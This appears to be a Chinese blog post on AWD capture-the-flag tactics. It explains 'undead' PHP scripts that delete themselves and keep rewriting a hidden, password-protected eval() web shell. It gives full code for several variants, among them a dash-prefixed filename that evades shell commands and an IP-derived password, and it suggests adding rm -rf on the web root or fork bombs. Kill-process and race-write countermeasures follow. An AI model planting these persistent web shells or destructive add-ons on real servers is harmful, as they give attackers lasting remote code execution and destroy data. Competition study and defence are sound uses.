不死马
一个典型的不死马:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.l.php'; $code = '<?php if(md5($_GET["pass"])=="56183c1f36ef08fb8b027a4116db8483"){@eval($_POST["a"]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .l.php'); usleep(1000); } ?>
|
解释一下
ignore_user_abort(true);
忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit(0);
设置脚本最大执行时间,这里设置为0,即没有时间方面的限制
unlink(__FILE__);
删除文件本身,以起到隐蔽自身的作用
当上传完后需要访问一次不死马,生成一句话木马, 才能真正”不死”,这点很多新手第一次用可能会忽略,还有记得删除注释,不然就会被其他队乌鸦坐飞机
克制方法
当然,不死马也并非真正无敌,只是在低权限的情况下较难处理
高权限下的处理方法(root)
1:重启服务,杀掉不死马的进程
ubuntu的用service,centos的用systemctl
低权限下的处理方法
一般的awd比赛中基本不会放出root,所以我们的权限很低,无法进行重启服务等操作
不过办法总比困难多
方法一:kill进程
这个方法应该是目前最好的解决方案了,新建一个文件,比如del.php
, 写上杀进程的命令,访问后即可删除不死马
1 2 3 4 5 6 7 8 9 10 11
| www-data <?php system("kill `ps aux | grep www-data | awk '{print $2}' | xargs kill -9`");
php-fpm <?php system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");
php-apache <?php system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");
|
方法二:创建一个和不死马生成的马一样名字的目录
对自己的防御不放心的话可以提前创建几个常用马名字的文件夹,比如m.php,shell.php
编写一个shell脚本
1 2 3
| #!/bin/bash cd /var/www/html/ while true;do rm -rf .l.php;mkdir .l.php;done
|
放在后台运行,实测不是很稳定,不推荐使用
方法三:竞争写入无意义的一句话
usleep值比对方马的值低就行
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.l.php'; $code = '<?php echo "lewiserii" ?>'; while (1){ file_put_contents($file,$code); usleep(0); } ?>
|
变种不死马与搅屎棍
唯一的区别是文件名前加了个短杠,这就很骚了,会与命令的参数冲突而无法对它操作,但是浏览器中却可以正常解析
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '-index.php'; $code = '<?php if(md5($_GET["pass"])=="56183c1f36ef08fb8b027a4116db8483"){@eval($_POST["a"]);} ?>'; while (1){ file_put_contents($file,$code); usleep(0); } ?>
|
这个应该算是比较冷门的知识点了,想要操作也很简单,在文件前加上两个--
就可以了,表示转义字符,或者形如./-index.php
搅屎棍:在不死马中添加rm -rf /var/www/html/*
;或者创建大量无意义的文件;或者制作fork炸弹等等
动态密码
php获取SERVER_ADDR的值进行md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '-lewiserii.php'; $ip = $_SERVER['SERVER_ADDR']; $pass = md5($ip); $code = '<?php if(md5($_REQUEST["pass"])=="' . $pass . '"){@eval($_REQUEST["cmd"]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" ./-lewiserii.php'); usleep(500); } ?>
|
但是也有缺点,因为密码是明文传输,很容易反应过来然后上车
其实更好的方式是利用python等脚本在本地加密完再传到靶机